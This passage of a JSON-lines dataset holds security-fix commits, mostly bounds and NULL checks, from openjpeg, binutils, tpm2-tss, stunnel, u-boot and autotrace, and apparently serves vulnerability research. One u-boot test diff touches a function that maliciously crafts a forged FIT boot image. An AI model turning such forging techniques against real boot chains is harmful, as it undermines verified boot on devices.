res->ph) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): accessing precno=%u >= %u\\n\",\n+ precno, res->pw * res->ph);\n+ return OPJ_FALSE;\n+ }\n+\n prc = &band->precincts[precno];\n l_nb_blocks = prc->cw * prc->ch;\n cblk = prc->cblks.enc;", "sections": [{"section": "@@ -815,6 +815,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n continue;\n }\n \n+ /* Avoid out of bounds access of https://github.com/uclouvain/openjpeg/issues/1297 */\n+ /* but likely not a proper fix. */\n+ if (precno >= res->pw * res->ph) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"opj_t2_encode_packet(): accessing precno=%u >= %u\\n\",\n+ precno, res->pw * res->ph);\n+ return OPJ_FALSE;\n+ }\n+\n prc = &band->precincts[precno];\n l_nb_blocks = prc->cw * prc->ch;\n cblk = prc->cblks.enc;", "related": false}]} +{"owner": "bminor", "repo": "binutils-gdb", "language": "C", "file_name": "bfd/pef.c", "commit_id": "7a0fb7be96e0ce79e1ae429bc1ba913e5244d537", "commit_message": "Fix potential illegal memory access failures in the BFD library by ensuring that the return value from bfd_malloc() is checked before it is used.\n\n\tPR 25308\n\t* elf-properties.c (_bfd_elf_convert_gnu_properties): Check the\n\treturn value from bfd_malloc.\n\t* elf32-arm.c (bfd_elf32_arm_vfp11_fix_veneer_locations): Likewise.\n\t(bfd_elf32_arm_stm32l4xx_fix_veneer_locations): Likewise.\n\t(elf32_arm_filter_cmse_symbols): Likewise.\n\t(elf32_arm_write_section): Likewise.\n\t* mach-o.c (bfd_mach_o_core_fetch_environment): Likewise.\n\t(bfd_mach_o_follow_dsym): Likewise.\n\t* pef.c (bfd_pef_print_loader_section): Likewise.\n\t(bfd_pef_scan_start_address): Likewise.\n\t(bfd_pef_parse_function_stubs): Likewise.\n\t(bfd_pef_parse_symbols): Likewise.", "patch": "@@ -447,6 +447,8 @@ bfd_pef_print_loader_section (bfd *abfd, FILE *file)\n \n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+ return -1;\n \n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0\n || bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen\n@@ -478,6 +480,9 @@ bfd_pef_scan_start_address (bfd *abfd)\n \n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+ goto end;\n+\n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0)\n goto error;\n if (bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen)\n@@ -753,6 +758,8 @@ bfd_pef_parse_function_stubs (bfd *abfd,\n (header.imported_library_count * sizeof (bfd_pef_imported_library));\n imports = bfd_malloc\n (header.total_imported_symbol_count * sizeof (bfd_pef_imported_symbol));\n+ if (libraries == NULL || imports == NULL)\n+ goto error;\n \n if (loaderlen < (56 + (header.imported_library_count * 24)))\n goto error;\n@@ -897,6 +904,8 @@ bfd_pef_parse_symbols (bfd *abfd, asymbol **csym)\n {\n codelen = codesec->size;\n codebuf = bfd_malloc (codelen);\n+ if (codebuf == NULL)\n+\tgoto end;\n if (bfd_seek (abfd, codesec->filepos, SEEK_SET) < 0)\n \tgoto end;\n if (bfd_bread ((void *) codebuf, codelen, abfd) != codelen)\n@@ -908,6 +917,8 @@ bfd_pef_parse_symbols (bfd *abfd, asymbol **csym)\n {\n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+\tgoto end;\n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0)\n \tgoto end;\n if (bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen)", "sections": [{"section": "@@ -447,6 +447,8 @@ bfd_pef_print_loader_section (bfd *abfd, FILE *file)\n \n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+ return -1;\n \n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0\n || bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen\n", "related": false}, {"section": "@@ -478,6 +480,9 @@ bfd_pef_scan_start_address (bfd *abfd)\n \n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+ goto end;\n+\n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0)\n goto error;\n if (bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen)\n", "related": false}, {"section": "@@ -753,6 +758,8 @@ bfd_pef_parse_function_stubs (bfd *abfd,\n (header.imported_library_count * sizeof (bfd_pef_imported_library));\n imports = bfd_malloc\n (header.total_imported_symbol_count * sizeof (bfd_pef_imported_symbol));\n+ if (libraries == NULL || imports == NULL)\n+ goto error;\n \n if (loaderlen < (56 + (header.imported_library_count * 24)))\n goto error;\n", "related": false}, {"section": "@@ -897,6 +904,8 @@ bfd_pef_parse_symbols (bfd *abfd, asymbol **csym)\n {\n codelen = codesec->size;\n codebuf = bfd_malloc (codelen);\n+ if (codebuf == NULL)\n+\tgoto end;\n if (bfd_seek (abfd, codesec->filepos, SEEK_SET) < 0)\n \tgoto end;\n if (bfd_bread ((void *) codebuf, codelen, abfd) != codelen)\n", "related": false}, {"section": "@@ -908,6 +917,8 @@ bfd_pef_parse_symbols (bfd *abfd, asymbol **csym)\n {\n loaderlen = loadersec->size;\n loaderbuf = bfd_malloc (loaderlen);\n+ if (loaderbuf == NULL)\n+\tgoto end;\n if (bfd_seek (abfd, loadersec->filepos, SEEK_SET) < 0)\n \tgoto end;\n if (bfd_bread ((void *) loaderbuf, loaderlen, abfd) != loaderlen)", "related": false}]} +{"owner": "bminor", "repo": "binutils-gdb", "language": "C", "file_name": "bfd/pef.c", "commit_id": "f2a3559d54602cecfec6d90f792be4a70ad918ab", "commit_message": "Fix potential illegal memory access when parsing a corrupt PEF format file.\n\n\tPR 25307\n\t(bfd_pef_parse_function_stubs): Correct the test that ensures that\n\tthere is enough data remaining in the code buffer before\n\tattempting to read a function stub.", "patch": "@@ -806,7 +806,7 @@ bfd_pef_parse_function_stubs (bfd *abfd,\n \t codepos += 4;\n \t}\n \n- if ((codepos + 4) > codelen)\n+ if ((codepos + 24) > codelen)\n \tbreak;\n \n ret = bfd_pef_parse_function_stub (abfd, codebuf + codepos, 24, &sym_index);", "sections": [{"section": "@@ -806,7 +806,7 @@ bfd_pef_parse_function_stubs (bfd *abfd,\n \t codepos += 4;\n \t}\n \n- if ((codepos + 4) > codelen)\n+ if ((codepos + 24) > codelen)\n \tbreak;\n \n ret = bfd_pef_parse_function_stub (abfd, codebuf + codepos, 24, &sym_index);", "related": false}]} +{"owner": "tpm2-software", "repo": "tpm2-tss", "language": "C", "file_name": "src/tss2-fapi/ifapi_policy_callbacks.c", "commit_id": "9536b79cd5a13884a7e4de7a571f72530180c20b", "commit_message": "FAPI: Fix execution of policy callback for reading PCR registers.\n\nFor Policy PCR current PCR registers of the TPM registers can be used to compute\nthe policy digest. The counter in the computed PCR list was not set. Thus a empty\nPCR list was used for the policy digest computation.\n\nSigned-off-by: Juergen Repp ", "patch": "@@ -373,6 +373,7 @@ ifapi_read_pcr(\n \n /* Initialize digest list with pcr values from TPM */\n i_pcr = 0;\n+ (*pcr_values)->count = pcr_digests->count;\n for (i = 0; i < out_selection->count; i++) {\n for (pcr = 0; pcr < TPM2_MAX_PCRS; pcr++) {\n uint8_t byte_idx = pcr / 8;", "sections": [{"section": "@@ -373,6 +373,7 @@ ifapi_read_pcr(\n \n /* Initialize digest list with pcr values from TPM */\n i_pcr = 0;\n+ (*pcr_values)->count = pcr_digests->count;\n for (i = 0; i < out_selection->count; i++) {\n for (pcr = 0; pcr < TPM2_MAX_PCRS; pcr++) {\n uint8_t byte_idx = pcr / 8;", "related": false}]} +{"owner": "mtrojnar", "repo": "stunnel", "language": "C", "file_name": "src/env.c", "commit_id": "ebad9ddc4efb2635f37174c9d800d06206f1edf9", "commit_message": "stunnel-5.57", "patch": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the", "sections": [{"section": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the", "related": false}]} +{"owner": "mtrojnar", "repo": "stunnel", "language": "C", "file_name": "src/resolver.c", "commit_id": "ebad9ddc4efb2635f37174c9d800d06206f1edf9", "commit_message": "stunnel-5.57", "patch": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the", "sections": [{"section": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the", "related": false}]} +{"owner": "mtrojnar", "repo": "stunnel", "language": "C", "file_name": "src/version.h", "commit_id": "ebad9ddc4efb2635f37174c9d800d06206f1edf9", "commit_message": "stunnel-5.57", "patch": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n@@ -65,7 +65,7 @@\n \n /* START CUSTOMIZE */\n #define VERSION_MAJOR 5\n-#define VERSION_MINOR 56\n+#define VERSION_MINOR 57\n /* END CUSTOMIZE */\n \n /* all the following macros are ABSOLUTELY NECESSARY to have proper string", "sections": [{"section": "@@ -1,6 +1,6 @@\n /*\n * stunnel TLS offloading and load-balancing proxy\n- * Copyright (C) 1998-2019 Michal Trojnara \n+ * Copyright (C) 1998-2020 Michal Trojnara \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n", "related": false}, {"section": "@@ -65,7 +65,7 @@\n \n /* START CUSTOMIZE */\n #define VERSION_MAJOR 5\n-#define VERSION_MINOR 56\n+#define VERSION_MINOR 57\n /* END CUSTOMIZE */\n \n /* all the following macros are ABSOLUTELY NECESSARY to have proper string", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "cmd/disk.c", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -114,7 +114,7 @@ int common_diskboot(struct cmd_tbl *cmdtp, const char *intf, int argc,\n \t/* This cannot be done earlier,\n \t * we need complete FIT image in RAM first */\n \tif (genimg_get_format((void *) addr) == IMAGE_FORMAT_FIT) {\n-\t\tif (!fit_check_format(fit_hdr)) {\n+\t\tif (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {\n \t\t\tbootstage_error(BOOTSTAGE_ID_IDE_FIT_READ);\n \t\t\tputs(\"** Bad FIT image format\\n\");\n \t\t\treturn 1;", "sections": [{"section": "@@ -114,7 +114,7 @@ int common_diskboot(struct cmd_tbl *cmdtp, const char *intf, int argc,\n \t/* This cannot be done earlier,\n \t * we need complete FIT image in RAM first */\n \tif (genimg_get_format((void *) addr) == IMAGE_FORMAT_FIT) {\n-\t\tif (!fit_check_format(fit_hdr)) {\n+\t\tif (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {\n \t\t\tbootstage_error(BOOTSTAGE_ID_IDE_FIT_READ);\n \t\t\tputs(\"** Bad FIT image format\\n\");\n \t\t\treturn 1;", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "common/update.c", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -286,7 +286,7 @@ int update_tftp(ulong addr, char *interface, char *devstring)\n got_update_file:\n \tfit = map_sysmem(addr, 0);\n \n-\tif (!fit_check_format((void *)fit)) {\n+\tif (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {\n \t\tprintf(\"Bad FIT format of the update file, aborting \"\n \t\t\t\t\t\t\t\"auto-update\\n\");\n \t\treturn 1;\n@@ -363,7 +363,7 @@ int fit_update(const void *fit)\n \tif (!fit)\n \t\treturn -EINVAL;\n \n-\tif (!fit_check_format((void *)fit)) {\n+\tif (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {\n \t\tprintf(\"Bad FIT format of the update file, aborting auto-update\\n\");\n \t\treturn -EINVAL;\n \t}", "sections": [{"section": "@@ -286,7 +286,7 @@ int update_tftp(ulong addr, char *interface, char *devstring)\n got_update_file:\n \tfit = map_sysmem(addr, 0);\n \n-\tif (!fit_check_format((void *)fit)) {\n+\tif (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {\n \t\tprintf(\"Bad FIT format of the update file, aborting \"\n \t\t\t\t\t\t\t\"auto-update\\n\");\n \t\treturn 1;\n", "related": false}, {"section": "@@ -363,7 +363,7 @@ int fit_update(const void *fit)\n \tif (!fit)\n \t\treturn -EINVAL;\n \n-\tif (!fit_check_format((void *)fit)) {\n+\tif (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {\n \t\tprintf(\"Bad FIT format of the update file, aborting auto-update\\n\");\n \t\treturn -EINVAL;\n \t}", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "tools/fit_common.c", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -26,7 +26,8 @@\n int fit_verify_header(unsigned char *ptr, int image_size,\n \t\t\tstruct image_tool_params *params)\n {\n-\tif (fdt_check_header(ptr) != EXIT_SUCCESS || !fit_check_format(ptr))\n+\tif (fdt_check_header(ptr) != EXIT_SUCCESS ||\n+\t fit_check_format(ptr, IMAGE_SIZE_INVAL))\n \t\treturn EXIT_FAILURE;\n \n \treturn EXIT_SUCCESS;", "sections": [{"section": "@@ -26,7 +26,8 @@\n int fit_verify_header(unsigned char *ptr, int image_size,\n \t\t\tstruct image_tool_params *params)\n {\n-\tif (fdt_check_header(ptr) != EXIT_SUCCESS || !fit_check_format(ptr))\n+\tif (fdt_check_header(ptr) != EXIT_SUCCESS ||\n+\t fit_check_format(ptr, IMAGE_SIZE_INVAL))\n \t\treturn EXIT_FAILURE;\n \n \treturn EXIT_SUCCESS;", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "cmd/bootm.c", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -292,7 +292,7 @@ static int image_info(ulong addr)\n \tcase IMAGE_FORMAT_FIT:\n \t\tputs(\" FIT image found\\n\");\n \n-\t\tif (!fit_check_format(hdr)) {\n+\t\tif (fit_check_format(hdr, IMAGE_SIZE_INVAL)) {\n \t\t\tputs(\"Bad FIT image format!\\n\");\n \t\t\tunmap_sysmem(hdr);\n \t\t\treturn 1;\n@@ -369,7 +369,7 @@ static int do_imls_nor(void)\n #endif\n #if defined(CONFIG_FIT)\n \t\t\tcase IMAGE_FORMAT_FIT:\n-\t\t\t\tif (!fit_check_format(hdr))\n+\t\t\t\tif (fit_check_format(hdr, IMAGE_SIZE_INVAL))\n \t\t\t\t\tgoto next_sector;\n \n \t\t\t\tprintf(\"FIT Image at %08lX:\\n\", (ulong)hdr);\n@@ -449,7 +449,7 @@ static int nand_imls_fitimage(struct mtd_info *mtd, int nand_dev, loff_t off,\n \t\treturn ret;\n \t}\n \n-\tif (!fit_check_format(imgdata)) {\n+\tif (fit_check_format(imgdata, IMAGE_SIZE_INVAL)) {\n \t\tfree(imgdata);\n \t\treturn 0;\n \t}", "sections": [{"section": "@@ -292,7 +292,7 @@ static int image_info(ulong addr)\n \tcase IMAGE_FORMAT_FIT:\n \t\tputs(\" FIT image found\\n\");\n \n-\t\tif (!fit_check_format(hdr)) {\n+\t\tif (fit_check_format(hdr, IMAGE_SIZE_INVAL)) {\n \t\t\tputs(\"Bad FIT image format!\\n\");\n \t\t\tunmap_sysmem(hdr);\n \t\t\treturn 1;\n", "related": false}, {"section": "@@ -369,7 +369,7 @@ static int do_imls_nor(void)\n #endif\n #if defined(CONFIG_FIT)\n \t\t\tcase IMAGE_FORMAT_FIT:\n-\t\t\t\tif (!fit_check_format(hdr))\n+\t\t\t\tif (fit_check_format(hdr, IMAGE_SIZE_INVAL))\n \t\t\t\t\tgoto next_sector;\n \n \t\t\t\tprintf(\"FIT Image at %08lX:\\n\", (ulong)hdr);\n", "related": false}, {"section": "@@ -449,7 +449,7 @@ static int nand_imls_fitimage(struct mtd_info *mtd, int nand_dev, loff_t off,\n \t\treturn ret;\n \t}\n \n-\tif (!fit_check_format(imgdata)) {\n+\tif (fit_check_format(imgdata, IMAGE_SIZE_INVAL)) {\n \t\tfree(imgdata);\n \t\treturn 0;\n \t}", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "C", "file_name": "common/splash_source.c", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -337,10 +337,10 @@ static int splash_load_fit(struct splash_location *location, u32 bmp_load_addr)\n \tif (res < 0)\n \t\treturn res;\n \n-\tres = fit_check_format(fit_header);\n-\tif (!res) {\n+\tres = fit_check_format(fit_header, IMAGE_SIZE_INVAL);\n+\tif (res) {\n \t\tdebug(\"Could not find valid FIT image\\n\");\n-\t\treturn -EINVAL;\n+\t\treturn res;\n \t}\n \n \t/* Get the splash image node */", "sections": [{"section": "@@ -337,10 +337,10 @@ static int splash_load_fit(struct splash_location *location, u32 bmp_load_addr)\n \tif (res < 0)\n \t\treturn res;\n \n-\tres = fit_check_format(fit_header);\n-\tif (!res) {\n+\tres = fit_check_format(fit_header, IMAGE_SIZE_INVAL);\n+\tif (res) {\n \t\tdebug(\"Could not find valid FIT image\\n\");\n-\t\treturn -EINVAL;\n+\t\treturn res;\n \t}\n \n \t/* Get the splash image node */", "related": false}]} +{"owner": "u-boot", "repo": "u-boot", "language": "Python", "file_name": "test/py/tests/vboot_forge.py", "commit_id": "b6f4c757959f8850e1299a77c8e5713da78e8ec0", "commit_message": "Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'\n\nFix CVE-2021-27097 and CVE-2021-27138. For more details see\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138", "patch": "@@ -376,12 +376,12 @@ def manipulate(root, strblock):\n \"\"\"\n Maliciously manipulates the structure to create a crafted FIT file\n \"\"\"\n- # locate /images/kernel@1 (frankly, it just expects it to be the first one)\n+ # locate /images/kernel-1 (frankly, it just expects it to be the first one)\n kernel_node = root[0][0]\n # clone it to save time filling all the properties\n fake_kernel = kernel_node.clone()\n # rename the node\n- fake_kernel.name = b'kernel@2'\n+ fake_kernel.name = b'kernel-2'\n # get rid of signatures/hashes\n fake_kernel.children = []\n # NOTE: this simply replaces the first prop... either description or data\n@@ -391,13 +391,13 @@ def manipulate(root, strblock):\n root[0].children.append(fake_kernel)\n \n # modify the default configuration\n- root[1].props[0].value = b'conf@2\\x00'\n+ root[1].props[0].value = b'conf-2\\x00'\n # clone the first (only?) configuration\n fake_conf = root[1][0].clone()\n # rename and change kernel and fdt properties to select the crafted kernel\n- fake_conf.name = b'conf@2'\n- fake_conf.props[0].value = b'kernel@2\\x00'\n- fake_conf.props[1].value = b'fdt@1\\x00'\n+ fake_conf.name = b'conf-2'\n+ fake_conf.props[0].value = b'kernel-2\\x00'\n+ fake_conf.props[1].value = b'fdt-1\\x00'\n # insert the new configuration under /configurations\n root[1].children.append(fake_conf)\n ", "sections": [{"section": "@@ -376,12 +376,12 @@ def manipulate(root, strblock):\n \"\"\"\n Maliciously manipulates the structure to create a crafted FIT file\n \"\"\"\n- # locate /images/kernel@1 (frankly, it just expects it to be the first one)\n+ # locate /images/kernel-1 (frankly, it just expects it to be the first one)\n kernel_node = root[0][0]\n # clone it to save time filling all the properties\n fake_kernel = kernel_node.clone()\n # rename the node\n- fake_kernel.name = b'kernel@2'\n+ fake_kernel.name = b'kernel-2'\n # get rid of signatures/hashes\n fake_kernel.children = []\n # NOTE: this simply replaces the first prop... either description or data\n", "related": false}, {"section": "@@ -391,13 +391,13 @@ def manipulate(root, strblock):\n root[0].children.append(fake_kernel)\n \n # modify the default configuration\n- root[1].props[0].value = b'conf@2\\x00'\n+ root[1].props[0].value = b'conf-2\\x00'\n # clone the first (only?) configuration\n fake_conf = root[1][0].clone()\n # rename and change kernel and fdt properties to select the crafted kernel\n- fake_conf.name = b'conf@2'\n- fake_conf.props[0].value = b'kernel@2\\x00'\n- fake_conf.props[1].value = b'fdt@1\\x00'\n+ fake_conf.name = b'conf-2'\n+ fake_conf.props[0].value = b'kernel-2\\x00'\n+ fake_conf.props[1].value = b'fdt-1\\x00'\n # insert the new configuration under /configurations\n root[1].children.append(fake_conf)\n ", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/despeckle.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -25,11 +25,11 @@\n #include \n #include \n #include \n-#include \"xstd.h\"\n #include \"logreport.h\"\n #include \"types.h\"\n #include \"bitmap.h\"\n #include \"despeckle.h\"\n+#include \n \n /* Calculate Error - compute the error between two colors\n *\n@@ -578,7 +578,7 @@ static void despeckle_iteration( /* in */ int level,\n current_size = 1 << level;\n tightness = (int)(noise_max / (1.0 + adaptive_tightness * level));\n \n- mask = (unsigned char *)calloc(width * height, sizeof(unsigned char));\n+ mask = g_malloc0((gsize)width * height * sizeof(unsigned char));\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n if (mask[y * width + x] == 0) {\n@@ -597,7 +597,7 @@ static void despeckle_iteration( /* in */ int level,\n }\n }\n \n- free(mask);\n+ g_free(mask);\n }\n \n /* Despeckle Iteration - Despeckle all regions smaller than cur_size pixels\n@@ -627,7 +627,7 @@ static void despeckle_iteration_8( /* in */ int level,\n current_size = 1 << level;\n tightness = (int)(noise_max / (1.0 + adaptive_tightness * level));\n \n- mask = (unsigned char *)calloc(width * height, sizeof(unsigned char));\n+ mask = g_malloc0((gsize)width * height * sizeof(unsigned char));\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n if (mask[y * width + x] == 0) {\n@@ -646,7 +646,7 @@ static void despeckle_iteration_8( /* in */ int level,\n }\n }\n \n- free(mask);\n+ g_free(mask);\n }\n \n /* Despeckle - Despeckle a 8 or 24 bit image", "sections": [{"section": "@@ -25,11 +25,11 @@\n #include \n #include \n #include \n-#include \"xstd.h\"\n #include \"logreport.h\"\n #include \"types.h\"\n #include \"bitmap.h\"\n #include \"despeckle.h\"\n+#include \n \n /* Calculate Error - compute the error between two colors\n *\n", "related": false}, {"section": "@@ -578,7 +578,7 @@ static void despeckle_iteration( /* in */ int level,\n current_size = 1 << level;\n tightness = (int)(noise_max / (1.0 + adaptive_tightness * level));\n \n- mask = (unsigned char *)calloc(width * height, sizeof(unsigned char));\n+ mask = g_malloc0((gsize)width * height * sizeof(unsigned char));\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n if (mask[y * width + x] == 0) {\n", "related": false}, {"section": "@@ -597,7 +597,7 @@ static void despeckle_iteration( /* in */ int level,\n }\n }\n \n- free(mask);\n+ g_free(mask);\n }\n \n /* Despeckle Iteration - Despeckle all regions smaller than cur_size pixels\n", "related": false}, {"section": "@@ -627,7 +627,7 @@ static void despeckle_iteration_8( /* in */ int level,\n current_size = 1 << level;\n tightness = (int)(noise_max / (1.0 + adaptive_tightness * level));\n \n- mask = (unsigned char *)calloc(width * height, sizeof(unsigned char));\n+ mask = g_malloc0((gsize)width * height * sizeof(unsigned char));\n for (y = 0; y < height; y++) {\n for (x = 0; x < width; x++) {\n if (mask[y * width + x] == 0) {\n", "related": false}, {"section": "@@ -646,7 +646,7 @@ static void despeckle_iteration_8( /* in */ int level,\n }\n }\n \n- free(mask);\n+ g_free(mask);\n }\n \n /* Despeckle - Despeckle a 8 or 24 bit image", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/input.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -25,7 +25,6 @@\n #include \"autotrace.h\"\n #include \"private.h\"\n #include \"input.h\"\n-#include \"xstd.h\"\n #include \"filename.h\"\n #include \n #include \n@@ -173,7 +172,7 @@ const char **at_input_list_new(void)\n \n void at_input_list_free(const char **list)\n {\n- free((char **)list);\n+ g_free((char **)list);\n }\n \n char *at_input_shortlist(void)", "sections": [{"section": "@@ -25,7 +25,6 @@\n #include \"autotrace.h\"\n #include \"private.h\"\n #include \"input.h\"\n-#include \"xstd.h\"\n #include \"filename.h\"\n #include \n #include \n", "related": false}, {"section": "@@ -173,7 +172,7 @@ const char **at_input_list_new(void)\n \n void at_input_list_free(const char **list)\n {\n- free((char **)list);\n+ g_free((char **)list);\n }\n \n char *at_input_shortlist(void)", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/output-fig.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -22,7 +22,7 @@\n #endif /* Def: HAVE_CONFIG_H */\n \n #include \"output-fig.h\"\n-#include \"xstd.h\"\n+#include \n #include \"logreport.h\"\n #include \"color.h\"\n #include \"spline.h\"\n@@ -152,7 +152,7 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n */\n \n /* Need to create hash table for colours */\n- XMALLOC(spline_colours, (sizeof(int) * SPLINE_LIST_ARRAY_LENGTH(shape)));\n+ spline_colours = g_malloc(sizeof(int) * SPLINE_LIST_ARRAY_LENGTH(shape));\n \n /* Preload the big 8 */\n fig_col_init();\n@@ -185,9 +185,9 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n int pointcount = 0, is_spline = 0, j;\n int maxlength = SPLINE_LIST_LENGTH(list) * 5 + 1;\n \n- XMALLOC(pointx, maxlength * sizeof(int));\n- XMALLOC(pointy, maxlength * sizeof(int));\n- XMALLOC(contrl, maxlength * sizeof(gfloat));\n+ pointx = g_malloc(maxlength * sizeof(int));\n+ pointy = g_malloc(maxlength * sizeof(int));\n+ contrl = g_malloc(maxlength * sizeof(gfloat));\n \n if (list.clockwise) {\n fig_colour = FIG_WHITE;\n@@ -339,11 +339,11 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n if (fig_depth < 0) {\n fig_depth = 0;\n }\n- free(pointx);\n- free(pointy);\n- free(contrl);\n+ g_free(pointx);\n+ g_free(pointy);\n+ g_free(contrl);\n }\n- free(spline_colours);\n+ g_free(spline_colours);\n return;\n }\n ", "sections": [{"section": "@@ -22,7 +22,7 @@\n #endif /* Def: HAVE_CONFIG_H */\n \n #include \"output-fig.h\"\n-#include \"xstd.h\"\n+#include \n #include \"logreport.h\"\n #include \"color.h\"\n #include \"spline.h\"\n", "related": false}, {"section": "@@ -152,7 +152,7 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n */\n \n /* Need to create hash table for colours */\n- XMALLOC(spline_colours, (sizeof(int) * SPLINE_LIST_ARRAY_LENGTH(shape)));\n+ spline_colours = g_malloc(sizeof(int) * SPLINE_LIST_ARRAY_LENGTH(shape));\n \n /* Preload the big 8 */\n fig_col_init();\n", "related": 